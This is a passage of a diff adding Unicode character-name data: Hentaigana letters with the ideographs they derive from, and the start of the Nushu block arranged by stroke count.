+1B028	HENTAIGANA LETTER KI-6
+	* derived from 7948
+1B029	HENTAIGANA LETTER KI-7
+	* derived from 8CB4
+1B02A	HENTAIGANA LETTER KI-8
+	* derived from 8D77
+1B02B	HENTAIGANA LETTER KU-1
+	* derived from 4E45
+1B02C	HENTAIGANA LETTER KU-2
+	* derived from 4E45
+1B02D	HENTAIGANA LETTER KU-3
+	* derived from 4E5D
+1B02E	HENTAIGANA LETTER KU-4
+	* derived from 4F9B
+1B02F	HENTAIGANA LETTER KU-5
+	* derived from 5036
+1B030	HENTAIGANA LETTER KU-6
+	* derived from 5177
+1B031	HENTAIGANA LETTER KU-7
+	* derived from 6C42
+1B032	HENTAIGANA LETTER KE-1
+	* derived from 4ECB
+1B033	HENTAIGANA LETTER KE-2
+	* derived from 4ECB
+1B034	HENTAIGANA LETTER KE-3
+	* derived from 5E0C
+1B035	HENTAIGANA LETTER KE-4
+	* derived from 6C23
+1B036	HENTAIGANA LETTER KE-5
+	* derived from 8A08
+1B037	HENTAIGANA LETTER KE-6
+	* derived from 9063
+1B038	HENTAIGANA LETTER KO-1
+	* derived from 53E4
+1B039	HENTAIGANA LETTER KO-2
+	* derived from 6545
+1B03A	HENTAIGANA LETTER KO-3
+	* derived from 8A31
+1B03B	HENTAIGANA LETTER KO-KI
+	* derived from 671F
+1B03C	HENTAIGANA LETTER SA-1
+	* derived from 4E4D
+1B03D	HENTAIGANA LETTER SA-2
+	* derived from 4F50
+1B03E	HENTAIGANA LETTER SA-3
+	* derived from 4F50
+1B03F	HENTAIGANA LETTER SA-4
+	* derived from 5DE6
+1B040	HENTAIGANA LETTER SA-5
+	* derived from 5DEE
+1B041	HENTAIGANA LETTER SA-6
+	* derived from 6563
+1B042	HENTAIGANA LETTER SA-7
+	* derived from 659C
+1B043	HENTAIGANA LETTER SA-8
+	* derived from 6C99
+1B044	HENTAIGANA LETTER SI-1
+	* derived from 4E4B
+1B045	HENTAIGANA LETTER SI-2
+	* derived from 4E4B
+1B046	HENTAIGANA LETTER SI-3
+	* derived from 4E8B
+1B047	HENTAIGANA LETTER SI-4
+	* derived from 56DB
+1B048	HENTAIGANA LETTER SI-5
+	* derived from 5FD7
+1B049	HENTAIGANA LETTER SI-6
+	* derived from 65B0
+1B04A	HENTAIGANA LETTER SU-1
+	* derived from 53D7
+1B04B	HENTAIGANA LETTER SU-2
+	* derived from 58FD
+1B04C	HENTAIGANA LETTER SU-3
+	* derived from 6578
+1B04D	HENTAIGANA LETTER SU-4
+	* derived from 6578
+1B04E	HENTAIGANA LETTER SU-5
+	* derived from 6625
+1B04F	HENTAIGANA LETTER SU-6
+	* derived from 6625
+1B050	HENTAIGANA LETTER SU-7
+	* derived from 9808
+1B051	HENTAIGANA LETTER SU-8
+	* derived from 9808
+1B052	HENTAIGANA LETTER SE-1
+	* derived from 4E16
+1B053	HENTAIGANA LETTER SE-2
+	* derived from 4E16
+1B054	HENTAIGANA LETTER SE-3
+	* derived from 4E16
+1B055	HENTAIGANA LETTER SE-4
+	* derived from 52E2
+1B056	HENTAIGANA LETTER SE-5
+	* derived from 8072
+1B057	HENTAIGANA LETTER SO-1
+	* derived from 6240
+1B058	HENTAIGANA LETTER SO-2
+	* derived from 6240
+1B059	HENTAIGANA LETTER SO-3
+	* derived from 66FE
+1B05A	HENTAIGANA LETTER SO-4
+	* derived from 66FE
+1B05B	HENTAIGANA LETTER SO-5
+	* derived from 695A
+1B05C	HENTAIGANA LETTER SO-6
+	* derived from 8607
+1B05D	HENTAIGANA LETTER SO-7
+	* derived from 8655
+1B05E	HENTAIGANA LETTER TA-1
+	* derived from 5802
+1B05F	HENTAIGANA LETTER TA-2
+	* derived from 591A
+1B060	HENTAIGANA LETTER TA-3
+	* derived from 591A
+1B061	HENTAIGANA LETTER TA-4
+	* derived from 7576
+1B062	HENTAIGANA LETTER TI-1
+	* derived from 5343
+1B063	HENTAIGANA LETTER TI-2
+	* derived from 5730
+1B064	HENTAIGANA LETTER TI-3
+	* derived from 667A
+1B065	HENTAIGANA LETTER TI-4
+	* derived from 77E5
+1B066	HENTAIGANA LETTER TI-5
+	* derived from 77E5
+1B067	HENTAIGANA LETTER TI-6
+	* derived from 81F4
+1B068	HENTAIGANA LETTER TI-7
+	* derived from 9072
+1B069	HENTAIGANA LETTER TU-1
+	* derived from 5DDD
+1B06A	HENTAIGANA LETTER TU-2
+	* derived from 5DDD
+1B06B	HENTAIGANA LETTER TU-3
+	* derived from 6D25
+1B06C	HENTAIGANA LETTER TU-4
+	* derived from 90FD
+1B06D	HENTAIGANA LETTER TU-TO
+	* derived from 5F92
+1B06E	HENTAIGANA LETTER TE-1
+	* derived from 4EAD
+1B06F	HENTAIGANA LETTER TE-2
+	* derived from 4F4E
+1B070	HENTAIGANA LETTER TE-3
+	* derived from 50B3
+1B071	HENTAIGANA LETTER TE-4
+	* derived from 5929
+1B072	HENTAIGANA LETTER TE-5
+	* derived from 5929
+1B073	HENTAIGANA LETTER TE-6
+	* derived from 5929
+1B074	HENTAIGANA LETTER TE-7
+	* derived from 5E1D
+1B075	HENTAIGANA LETTER TE-8
+	* derived from 5F16
+1B076	HENTAIGANA LETTER TE-9
+	* derived from 8F49
+1B077	HENTAIGANA LETTER TO-1
+	* derived from 571F
+1B078	HENTAIGANA LETTER TO-2
+	* derived from 5EA6
+1B079	HENTAIGANA LETTER TO-3
+	* derived from 6771
+1B07A	HENTAIGANA LETTER TO-4
+	* derived from 767B
+1B07B	HENTAIGANA LETTER TO-5
+	* derived from 767B
+1B07C	HENTAIGANA LETTER TO-6
+	* derived from 7825
+1B07D	HENTAIGANA LETTER TO-RA
+	* derived from 7B49
+1B07E	HENTAIGANA LETTER NA-1
+	* derived from 5357
+1B07F	HENTAIGANA LETTER NA-2
+	* derived from 540D
+1B080	HENTAIGANA LETTER NA-3
+	* derived from 5948
+1B081	HENTAIGANA LETTER NA-4
+	* derived from 5948
+1B082	HENTAIGANA LETTER NA-5
+	* derived from 5948
+1B083	HENTAIGANA LETTER NA-6
+	* derived from 83DC
+1B084	HENTAIGANA LETTER NA-7
+	* derived from 90A3
+1B085	HENTAIGANA LETTER NA-8
+	* derived from 90A3
+1B086	HENTAIGANA LETTER NA-9
+	* derived from 96E3
+1B087	HENTAIGANA LETTER NI-1
+	* derived from 4E39
+1B088	HENTAIGANA LETTER NI-2
+	* derived from 4E8C
+1B089	HENTAIGANA LETTER NI-3
+	* derived from 4EC1
+1B08A	HENTAIGANA LETTER NI-4
+	* derived from 5152
+1B08B	HENTAIGANA LETTER NI-5
+	* derived from 723E
+1B08C	HENTAIGANA LETTER NI-6
+	* derived from 723E
+1B08D	HENTAIGANA LETTER NI-7
+	* derived from 8033
+1B08E	HENTAIGANA LETTER NI-TE
+	* derived from 800C
+1B08F	HENTAIGANA LETTER NU-1
+	* derived from 52AA
+1B090	HENTAIGANA LETTER NU-2
+	* derived from 5974
+1B091	HENTAIGANA LETTER NU-3
+	* derived from 6012
+1B092	HENTAIGANA LETTER NE-1
+	* derived from 5E74
+1B093	HENTAIGANA LETTER NE-2
+	* derived from 5E74
+1B094	HENTAIGANA LETTER NE-3
+	* derived from 5E74
+1B095	HENTAIGANA LETTER NE-4
+	* derived from 6839
+1B096	HENTAIGANA LETTER NE-5
+	* derived from 71B1
+1B097	HENTAIGANA LETTER NE-6
+	* derived from 79B0
+1B098	HENTAIGANA LETTER NE-KO
+	* derived from 5B50
+1B099	HENTAIGANA LETTER NO-1
+	* derived from 4E43
+1B09A	HENTAIGANA LETTER NO-2
+	* derived from 6FC3
+1B09B	HENTAIGANA LETTER NO-3
+	* derived from 80FD
+1B09C	HENTAIGANA LETTER NO-4
+	* derived from 80FD
+1B09D	HENTAIGANA LETTER NO-5
+	* derived from 8FB2
+1B09E	HENTAIGANA LETTER HA-1
+	* derived from 516B
+1B09F	HENTAIGANA LETTER HA-2
+	* derived from 534A
+1B0A0	HENTAIGANA LETTER HA-3
+	* derived from 5A46
+1B0A1	HENTAIGANA LETTER HA-4
+	* derived from 6CE2
+1B0A2	HENTAIGANA LETTER HA-5
+	* derived from 76E4
+1B0A3	HENTAIGANA LETTER HA-6
+	* derived from 76E4
+1B0A4	HENTAIGANA LETTER HA-7
+	* derived from 7834
+1B0A5	HENTAIGANA LETTER HA-8
+	* derived from 8005
+1B0A6	HENTAIGANA LETTER HA-9
+	* derived from 8005
+1B0A7	HENTAIGANA LETTER HA-10
+	* derived from 8449
+1B0A8	HENTAIGANA LETTER HA-11
+	* derived from 9817
+1B0A9	HENTAIGANA LETTER HI-1
+	* derived from 60B2
+1B0AA	HENTAIGANA LETTER HI-2
+	* derived from 65E5
+1B0AB	HENTAIGANA LETTER HI-3
+	* derived from 6BD4
+1B0AC	HENTAIGANA LETTER HI-4
+	* derived from 907F
+1B0AD	HENTAIGANA LETTER HI-5
+	* derived from 975E
+1B0AE	HENTAIGANA LETTER HI-6
+	* derived from 98DB
+1B0AF	HENTAIGANA LETTER HI-7
+	* derived from 98DB
+1B0B0	HENTAIGANA LETTER HU-1
+	* derived from 4E0D
+1B0B1	HENTAIGANA LETTER HU-2
+	* derived from 5A66
+1B0B2	HENTAIGANA LETTER HU-3
+	* derived from 5E03
+1B0B3	HENTAIGANA LETTER HE-1
+	* derived from 500D
+1B0B4	HENTAIGANA LETTER HE-2
+	* derived from 5F0A
+1B0B5	HENTAIGANA LETTER HE-3
+	* derived from 5F0A
+1B0B6	HENTAIGANA LETTER HE-4
+	* derived from 904D
+1B0B7	HENTAIGANA LETTER HE-5
+	* derived from 908A
+1B0B8	HENTAIGANA LETTER HE-6
+	* derived from 908A
+1B0B9	HENTAIGANA LETTER HE-7
+	* derived from 90E8
+1B0BA	HENTAIGANA LETTER HO-1
+	* derived from 4FDD
+1B0BB	HENTAIGANA LETTER HO-2
+	* derived from 4FDD
+1B0BC	HENTAIGANA LETTER HO-3
+	* derived from 5831
+1B0BD	HENTAIGANA LETTER HO-4
+	* derived from 5949
+1B0BE	HENTAIGANA LETTER HO-5
+	* derived from 5BF6
+1B0BF	HENTAIGANA LETTER HO-6
+	* derived from 672C
+1B0C0	HENTAIGANA LETTER HO-7
+	* derived from 672C
+1B0C1	HENTAIGANA LETTER HO-8
+	* derived from 8C50
+1B0C2	HENTAIGANA LETTER MA-1
+	* derived from 4E07
+1B0C3	HENTAIGANA LETTER MA-2
+	* derived from 672B
+1B0C4	HENTAIGANA LETTER MA-3
+	* derived from 672B
+1B0C5	HENTAIGANA LETTER MA-4
+	* derived from 6EFF
+1B0C6	HENTAIGANA LETTER MA-5
+	* derived from 6EFF
+1B0C7	HENTAIGANA LETTER MA-6
+	* derived from 842C
+1B0C8	HENTAIGANA LETTER MA-7
+	* derived from 9EBB
+1B0C9	HENTAIGANA LETTER MI-1
+	* derived from 4E09
+1B0CA	HENTAIGANA LETTER MI-2
+	* derived from 5FAE
+1B0CB	HENTAIGANA LETTER MI-3
+	* derived from 7F8E
+1B0CC	HENTAIGANA LETTER MI-4
+	* derived from 7F8E
+1B0CD	HENTAIGANA LETTER MI-5
+	* derived from 7F8E
+1B0CE	HENTAIGANA LETTER MI-6
+	* derived from 898B
+1B0CF	HENTAIGANA LETTER MI-7
+	* derived from 8EAB
+1B0D0	HENTAIGANA LETTER MU-1
+	* derived from 6B66
+1B0D1	HENTAIGANA LETTER MU-2
+	* derived from 7121
+1B0D2	HENTAIGANA LETTER MU-3
+	* derived from 725F
+1B0D3	HENTAIGANA LETTER MU-4
+	* derived from 821E
+1B0D4	HENTAIGANA LETTER ME-1
+	* derived from 514D
+1B0D5	HENTAIGANA LETTER ME-2
+	* derived from 9762
+1B0D6	HENTAIGANA LETTER ME-MA
+	* derived from 99AC
+1B0D7	HENTAIGANA LETTER MO-1
+	* derived from 6BCD
+1B0D8	HENTAIGANA LETTER MO-2
+	* derived from 6BDB
+1B0D9	HENTAIGANA LETTER MO-3
+	* derived from 6BDB
+1B0DA	HENTAIGANA LETTER MO-4
+	* derived from 6BDB
+1B0DB	HENTAIGANA LETTER MO-5
+	* derived from 8302
+1B0DC	HENTAIGANA LETTER MO-6
+	* derived from 88F3
+1B0DD	HENTAIGANA LETTER YA-1
+	* derived from 4E5F
+1B0DE	HENTAIGANA LETTER YA-2
+	* derived from 4E5F
+1B0DF	HENTAIGANA LETTER YA-3
+	* derived from 5C4B
+1B0E0	HENTAIGANA LETTER YA-4
+	* derived from 8036
+1B0E1	HENTAIGANA LETTER YA-5
+	* derived from 8036
+1B0E2	HENTAIGANA LETTER YA-YO
+	* derived from 591C
+1B0E3	HENTAIGANA LETTER YU-1
+	* derived from 6E38
+1B0E4	HENTAIGANA LETTER YU-2
+	* derived from 7531
+1B0E5	HENTAIGANA LETTER YU-3
+	* derived from 7531
+1B0E6	HENTAIGANA LETTER YU-4
+	* derived from 904A
+1B0E7	HENTAIGANA LETTER YO-1
+	* derived from 4EE3
+1B0E8	HENTAIGANA LETTER YO-2
+	* derived from 4F59
+1B0E9	HENTAIGANA LETTER YO-3
+	* derived from 8207
+1B0EA	HENTAIGANA LETTER YO-4
+	* derived from 8207
+1B0EB	HENTAIGANA LETTER YO-5
+	* derived from 8207
+1B0EC	HENTAIGANA LETTER YO-6
+	* derived from 9918
+1B0ED	HENTAIGANA LETTER RA-1
+	* derived from 7F85
+1B0EE	HENTAIGANA LETTER RA-2
+	* derived from 826F
+1B0EF	HENTAIGANA LETTER RA-3
+	* derived from 826F
+1B0F0	HENTAIGANA LETTER RA-4
+	* derived from 826F
+1B0F1	HENTAIGANA LETTER RI-1
+	* derived from 5229
+1B0F2	HENTAIGANA LETTER RI-2
+	* derived from 5229
+1B0F3	HENTAIGANA LETTER RI-3
+	* derived from 674E
+1B0F4	HENTAIGANA LETTER RI-4
+	* derived from 68A8
+1B0F5	HENTAIGANA LETTER RI-5
+	* derived from 7406
+1B0F6	HENTAIGANA LETTER RI-6
+	* derived from 91CC
+1B0F7	HENTAIGANA LETTER RI-7
+	* derived from 96E2
+1B0F8	HENTAIGANA LETTER RU-1
+	* derived from 6D41
+1B0F9	HENTAIGANA LETTER RU-2
+	* derived from 7559
+1B0FA	HENTAIGANA LETTER RU-3
+	* derived from 7559
+1B0FB	HENTAIGANA LETTER RU-4
+	* derived from 7559
+1B0FC	HENTAIGANA LETTER RU-5
+	* derived from 7D2F
+1B0FD	HENTAIGANA LETTER RU-6
+	* derived from 985E
+1B0FE	HENTAIGANA LETTER RE-1
+	* derived from 79AE
+1B0FF	HENTAIGANA LETTER RE-2
+	* derived from 79AE
+@@	1B100	Kana Extended-A	1B12F
+@		Hentaigana
+1B100	HENTAIGANA LETTER RE-3
+	* derived from 9023
+1B101	HENTAIGANA LETTER RE-4
+	* derived from 9E97
+1B102	HENTAIGANA LETTER RO-1
+	* derived from 5442
+1B103	HENTAIGANA LETTER RO-2
+	* derived from 5442
+1B104	HENTAIGANA LETTER RO-3
+	* derived from 5A41
+1B105	HENTAIGANA LETTER RO-4
+	* derived from 6A13
+1B106	HENTAIGANA LETTER RO-5
+	* derived from 8DEF
+1B107	HENTAIGANA LETTER RO-6
+	* derived from 9732
+1B108	HENTAIGANA LETTER WA-1
+	* derived from 502D
+1B109	HENTAIGANA LETTER WA-2
+	* derived from 548C
+1B10A	HENTAIGANA LETTER WA-3
+	* derived from 548C
+1B10B	HENTAIGANA LETTER WA-4
+	* derived from 738B
+1B10C	HENTAIGANA LETTER WA-5
+	* derived from 738B
+1B10D	HENTAIGANA LETTER WI-1
+	* derived from 4E95
+1B10E	HENTAIGANA LETTER WI-2
+	* derived from 4E95
+1B10F	HENTAIGANA LETTER WI-3
+	* derived from 5C45
+1B110	HENTAIGANA LETTER WI-4
+	* derived from 7232
+1B111	HENTAIGANA LETTER WI-5
+	* derived from 907A
+1B112	HENTAIGANA LETTER WE-1
+	* derived from 60E0
+1B113	HENTAIGANA LETTER WE-2
+	* derived from 885E
+1B114	HENTAIGANA LETTER WE-3
+	* derived from 885E
+1B115	HENTAIGANA LETTER WE-4
+	* derived from 885E
+1B116	HENTAIGANA LETTER WO-1
+	* derived from 4E4E
+1B117	HENTAIGANA LETTER WO-2
+	* derived from 4E4E
+1B118	HENTAIGANA LETTER WO-3
+	* derived from 5C3E
+1B119	HENTAIGANA LETTER WO-4
+	* derived from 7DD2
+1B11A	HENTAIGANA LETTER WO-5
+	* derived from 8D8A
+1B11B	HENTAIGANA LETTER WO-6
+	* derived from 9060
+1B11C	HENTAIGANA LETTER WO-7
+	* derived from 9060
+1B11D	HENTAIGANA LETTER N-MU-MO-1
+	* derived from 65E0
+1B11E	HENTAIGANA LETTER N-MU-MO-2
+	* derived from 65E0
+@@	1B170	Nushu	1B2FF
+ at +		A more accurate spelling of the name of this script is Nüshu.
+@		One-stroke character
+1B170	NUSHU CHARACTER-1B170
+	x 4E00
+@		Two-stroke characters
+1B171	NUSHU CHARACTER-1B171
+	x 4E8C
+1B172	NUSHU CHARACTER-1B172
+1B173	NUSHU CHARACTER-1B173
+1B174	NUSHU CHARACTER-1B174
+1B175	NUSHU CHARACTER-1B175
+1B176	NUSHU CHARACTER-1B176
+1B177	NUSHU CHARACTER-1B177
+@		Three-stroke characters
+1B178	NUSHU CHARACTER-1B178
+	x 6C34
+1B179	NUSHU CHARACTER-1B179
+1B17A	NUSHU CHARACTER-1B17A
+1B17B	NUSHU CHARACTER-1B17B
+1B17C	NUSHU CHARACTER-1B17C
+1B17D	NUSHU CHARACTER-1B17D
+1B17E	NUSHU CHARACTER-1B17E
+1B17F	NUSHU CHARACTER-1B17F
+1B180	NUSHU CHARACTER-1B180
+	x 571F
+1B181	NUSHU CHARACTER-1B181
+1B182	NUSHU CHARACTER-1B182
+1B183	NUSHU CHARACTER-1B183
+	x 5DE5
+1B184	NUSHU CHARACTER-1B184
+1B185	NUSHU CHARACTER-1B185
+	x 4E2A
+1B186	NUSHU CHARACTER-1B186
+1B187	NUSHU CHARACTER-1B187
+1B188	NUSHU CHARACTER-1B188
+1B189	NUSHU CHARACTER-1B189
+1B18A	NUSHU CHARACTER-1B18A
+	x 4E09
+@		Four-stroke characters
+1B18B	NUSHU CHARACTER-1B18B
+1B18C	NUSHU CHARACTER-1B18C
+1B18D	NUSHU CHARACTER-1B18D
+1B18E	NUSHU CHARACTER-1B18E
+1B18F	NUSHU CHARACTER-1B18F
+1B190	NUSHU CHARACTER-1B190
+1B191	NUSHU CHARACTER-1B191
+1B192	NUSHU CHARACTER-1B192
+1B193	NUSHU CHARACTER-1B193
+1B194	NUSHU CHARACTER-1B194
+	x 592B
+1B195	NUSHU CHARACTER-1B195
+	x 706B
+1B196	NUSHU CHARACTER-1B196
+1B197	NUSHU CHARACTER-1B197
+1B198	NUSHU CHARACTER-1B198
+1B199	NUSHU CHARACTER-1B199
+1B19A	NUSHU CHARACTER-1B19A
+1B19B	NUSHU CHARACTER-1B19B
+1B19C	NUSHU CHARACTER-1B19C
+1B19D	NUSHU CHARACTER-1B19D
+1B19E	NUSHU CHARACTER-1B19E
+1B19F	NUSHU CHARACTER-1B19F
+1B1A0	NUSHU CHARACTER-1B1A0
+1B1A1	NUSHU CHARACTER-1B1A1
+	x 4EA1
+1B1A2	NUSHU CHARACTER-1B1A2
+1B1A3	NUSHU CHARACTER-1B1A3
+1B1A4	NUSHU CHARACTER-1B1A4
+1B1A5	NUSHU CHARACTER-1B1A5
+1B1A6	NUSHU CHARACTER-1B1A6
+1B1A7	NUSHU CHARACTER-1B1A7
+	x 738B
+@		Five-stroke characters
+1B1A8	NUSHU CHARACTER-1B1A8
+	x 672A
+1B1A9	NUSHU CHARACTER-1B1A9
+1B1AA	NUSHU CHARACTER-1B1AA
+1B1AB	NUSHU CHARACTER-1B1AB
+	x 5185
+1B1AC	NUSHU CHARACTER-1B1AC
+1B1AD	NUSHU CHARACTER-1B1AD
+1B1AE	NUSHU CHARACTER-1B1AE
+1B1AF	NUSHU CHARACTER-1B1AF
+1B1B0	NUSHU CHARACTER-1B1B0
+1B1B1	NUSHU CHARACTER-1B1B1
+1B1B2	NUSHU CHARACTER-1B1B2
+1B1B3	NUSHU CHARACTER-1B1B3
+1B1B4	NUSHU CHARACTER-1B1B4
+1B1B5	NUSHU CHARACTER-1B1B5
+1B1B6	NUSHU CHARACTER-1B1B6
+1B1B7	NUSHU CHARACTER-1B1B7
+1B1B8	NUSHU CHARACTER-1B1B8
+1B1B9	NUSHU CHARACTER-1B1B9
+1B1BA	NUSHU CHARACTER-1B1BA
+1B1BB	NUSHU CHARACTER-1B1BB
+1B1BC	NUSHU CHARACTER-1B1BC
+1B1BD	NUSHU CHARACTER-1B1BD
+1B1BE	NUSHU CHARACTER-1B1BE
+1B1BF	NUSHU CHARACTER-1B1BF
+1B1C0	NUSHU CHARACTER-1B1C0
+1B1C1	NUSHU CHARACTER-1B1C1
+1B1C2	NUSHU CHARACTER-1B1C2
+1B1C3	NUSHU CHARACTER-1B1C3
+1B1C4	NUSHU CHARACTER-1B1C4
+1B1C5	NUSHU CHARACTER-1B1C5
+1B1C6	NUSHU CHARACTER-1B1C6
+1B1C7	NUSHU CHARACTER-1B1C7
+1B1C8	NUSHU CHARACTER-1B1C8
+1B1C9	NUSHU CHARACTER-1B1C9
+1B1CA	NUSHU CHARACTER-1B1CA
+1B1CB	NUSHU CHARACTER-1B1CB
+1B1CC	NUSHU CHARACTER-1B1CC
+	x 540E
+1B1CD	NUSHU CHARACTER-1B1CD
+1B1CE	NUSHU CHARACTER-1B1CE
+1B1CF	NUSHU CHARACTER-1B1CF
+1B1D0	NUSHU CHARACTER-1B1D0
+1B1D1	NUSHU CHARACTER-1B1D1
+1B1D2	NUSHU CHARACTER-1B1D2
+1B1D3	NUSHU CHARACTER-1B1D3
+1B1D4	NUSHU CHARACTER-1B1D4
+1B1D5	NUSHU CHARACTER-1B1D5
+1B1D6	NUSHU CHARACTER-1B1D6
+1B1D7	NUSHU CHARACTER-1B1D7
+1B1D8	NUSHU CHARACTER-1B1D8
+1B1D9	NUSHU CHARACTER-1B1D9
+1B1DA	NUSHU CHARACTER-1B1DA
+1B1DB	NUSHU CHARACTER-1B1DB
+1B1DC	NUSHU CHARACTER-1B1DC
+1B1DD	NUSHU CHARACTER-1B1DD
+@		Six-stroke characters
+1B1DE	NUSHU CHARACTER-1B1DE
+1B1DF	NUSHU CHARACTER-1B1DF
+1B1E0	NUSHU CHARACTER-1B1E0
+1B1E1	NUSHU CHARACTER-1B1E1
+1B1E2	NUSHU CHARACTER-1B1E2
+1B1E3	NUSHU CHARACTER-1B1E3
+1B1E4	NUSHU CHARACTER-1B1E4
+1B1E5	NUSHU CHARACTER-1B1E5
+1B1E6	NUSHU CHARACTER-1B1E6
+1B1E7	NUSHU CHARACTER-1B1E7
+1B1E8	NUSHU CHARACTER-1B1E8
+1B1E9	NUSHU CHARACTER-1B1E9
+1B1EA	NUSHU CHARACTER-1B1EA
+1B1EB	NUSHU CHARACTER-1B1EB
+1B1EC	NUSHU CHARACTER-1B1EC
+1B1ED	NUSHU CHARACTER-1B1ED
+1B1EE	NUSHU CHARACTER-1B1EE
+1B1EF	NUSHU CHARACTER-1B1EF
+1B1F0	NUSHU CHARACTER-1B1F0
+	x 53E4
+1B1F1	NUSHU CHARACTER-1B1F1
+1B1F2	NUSHU CHARACTER-1B1F2
+1B1F3	NUSHU CHARACTER-1B1F3
+1B1F4	NUSHU CHARACTER-1B1F4
+1B1F5	NUSHU CHARACTER-1B1F5
+1B1F6	NUSHU CHARACTER-1B1F6
+1B1F7	NUSHU CHARACTER-1B1F7
+1B1F8	NUSHU CHARACTER-1B1F8
+1B1F9	NUSHU CHARACTER-1B1F9
+1B1FA	NUSHU CHARACTER-1B1FA
+1B1FB	NUSHU CHARACTER-1B1FB
+1B1FC	NUSHU CHARACTER-1B1FC
+1B1FD	NUSHU CHARACTER-1B1FD
+1B1FE	NUSHU CHARACTER-1B1FE
+1B1FF	NUSHU CHARACTER-1B1FF
+1B200	NUSHU CHARACTER-1B200
+1B201	NUSHU CHARACTER-1B201
+	x 591A
+1B202	NUSHU CHARACTER-1B202
+1B203	NUSHU CHARACTER-1B203
+1B204	NUSHU CHARACTER-1B204
+1B205	NUSHU CHARACTER-1B205
+	x 7532
+1B206	NUSHU CHARACTER-1B206
+1B207	NUSHU CHARACTER-1B207
+1B208	NUSHU CHARACTER-1B208
+1B209	NUSHU CHARACTER-1B209
+1B20A	NUSHU CHARACTER-1B20A
+	x 53CC
+1B20B	NUSHU CHARACTER-1B20B
+1B20C	NUSHU CHARACTER-1B20C
+1B20D	NUSHU CHARACTER-1B20D
+1B20E	NUSHU CHARACTER-1B20E
+	x 7530
+1B20F	NUSHU CHARACTER-1B20F
+1B210	NUSHU CHARACTER-1B210
+1B211	NUSHU CHARACTER-1B211
+1B212	NUSHU CHARACTER-1B212
+1B213	NUSHU CHARACTER-1B213
+	x 5723
+1B214	NUSHU CHARACTER-1B214
+1B215	NUSHU CHARACTER-1B215
+@		Seven-stroke characters
+1B216	NUSHU CHARACTER-1B216
+	x 65E9
+1B217	NUSHU CHARACTER-1B217
+1B218	NUSHU CHARACTER-1B218
+1B219	NUSHU CHARACTER-1B219
+1B21A	NUSHU CHARACTER-1B21A
+1B21B	NUSHU CHARACTER-1B21B
+1B21C	NUSHU CHARACTER-1B21C
+1B21D	NUSHU CHARACTER-1B21D
+1B21E	NUSHU CHARACTER-1B21E
+1B21F	NUSHU CHARACTER-1B21F
+1B220	NUSHU CHARACTER-1B220
+1B221	NUSHU CHARACTER-1B221
+1B222	NUSHU CHARACTER-1B222
+1B223	NUSHU CHARACTER-1B223
+1B224	NUSHU CHARACTER-1B224
+1B225	NUSHU CHARACTER-1B225
+1B226	NUSHU CHARACTER-1B226
+1B227	NUSHU CHARACTER-1B227
+1B228	NUSHU CHARACTER-1B228
+1B229	NUSHU CHARACTER-1B229
+1B22A	NUSHU CHARACTER-1B22A
+1B22B	NUSHU CHARACTER-1B22B
+1B22C	NUSHU CHARACTER-1B22C
+1B22D	NUSHU CHARACTER-1B22D
+1B22E	NUSHU CHARACTER-1B22E
+	x 6286
+1B22F	NUSHU CHARACTER-1B22F
+1B230	NUSHU CHARACTER-1B230
+1B231	NUSHU CHARACTER-1B231
+1B232	NUSHU CHARACTER-1B232
+1B233	NUSHU CHARACTER-1B233
+1B234	NUSHU CHARACTER-1B234
+1B235	NUSHU CHARACTER-1B235
+1B236	NUSHU CHARACTER-1B236
+1B237	NUSHU CHARACTER-1B237
+1B238	NUSHU CHARACTER-1B238
+1B239	NUSHU CHARACTER-1B239
+1B23A	NUSHU CHARACTER-1B23A
+1B23B	NUSHU CHARACTER-1B23B
+1B23C	NUSHU CHARACTER-1B23C
+1B23D	NUSHU CHARACTER-1B23D
+1B23E	NUSHU CHARACTER-1B23E
+1B23F	NUSHU CHARACTER-1B23F
+1B240	NUSHU CHARACTER-1B240
+1B241	NUSHU CHARACTER-1B241
+1B242	NUSHU CHARACTER-1B242
+1B243	NUSHU CHARACTER-1B243
+@		Eight-stroke characters
+1B244	NUSHU CHARACTER-1B244
+	x 91CC
+1B245	NUSHU CHARACTER-1B245
+1B246	NUSHU CHARACTER-1B246
+1B247	NUSHU CHARACTER-1B247
+1B248	NUSHU CHARACTER-1B248
+1B249	NUSHU CHARACTER-1B249
+1B24A	NUSHU CHARACTER-1B24A
+1B24B	NUSHU CHARACTER-1B24B
+1B24C	NUSHU CHARACTER-1B24C
+1B24D	NUSHU CHARACTER-1B24D
+1B24E	NUSHU CHARACTER-1B24E
+1B24F	NUSHU CHARACTER-1B24F
+1B250	NUSHU CHARACTER-1B250
+1B251	NUSHU CHARACTER-1B251
+1B252	NUSHU CHARACTER-1B252
+1B253	NUSHU CHARACTER-1B253
+1B254	NUSHU CHARACTER-1B254
+1B255	NUSHU CHARACTER-1B255
+1B256	NUSHU CHARACTER-1B256
+1B257	NUSHU CHARACTER-1B257
+1B258	NUSHU CHARACTER-1B258
+1B259	NUSHU CHARACTER-1B259
+1B25A	NUSHU CHARACTER-1B25A
+1B25B	NUSHU CHARACTER-1B25B
+1B25C	NUSHU CHARACTER-1B25C
+1B25D	NUSHU CHARACTER-1B25D
+1B25E	NUSHU CHARACTER-1B25E
+1B25F	NUSHU CHARACTER-1B25F
+1B260	NUSHU CHARACTER-1B260
+1B261	NUSHU CHARACTER-1B261
+1B262	NUSHU CHARACTER-1B262
+1B263	NUSHU CHARACTER-1B263
+1B264	NUSHU CHARACTER-1B264
+1B265	NUSHU CHARACTER-1B265
+	x 53F7
+1B266	NUSHU CHARACTER-1B266
+1B267	NUSHU CHARACTER-1B267
+1B268	NUSHU CHARACTER-1B268
+1B269	NUSHU CHARACTER-1B269
+1B26A	NUSHU CHARACTER-1B26A
+1B26B	NUSHU CHARACTER-1B26B
+1B26C	NUSHU CHARACTER-1B26C
+1B26D	NUSHU CHARACTER-1B26D
+1B26E	NUSHU CHARACTER-1B26E
+1B26F	NUSHU CHARACTER-1B26F
+1B270	NUSHU CHARACTER-1B270
+1B271	NUSHU CHARACTER-1B271
+1B272	NUSHU CHARACTER-1B272
+1B273	NUSHU CHARACTER-1B273
+1B274	NUSHU CHARACTER-1B274
+1B275	NUSHU CHARACTER-1B275
+1B276	NUSHU CHARACTER-1B276
+1B277	NUSHU CHARACTER-1B277
+1B278	NUSHU CHARACTER-1B278
+1B279	NUSHU CHARACTER-1B279
+1B27A	NUSHU CHARACTER-1B27A
+1B27B	NUSHU CHARACTER-1B27B
+1B27C	NUSHU CHARACTER-1B27C
+1B27D	NUSHU CHARACTER-1B27D
+1B27E	NUSHU CHARACTER-1B27E
+1B27F	NUSHU CHARACTER-1B27F
+1B280	NUSHU CHARACTER-1B280
+1B281	NUSHU CHARACTER-1B281
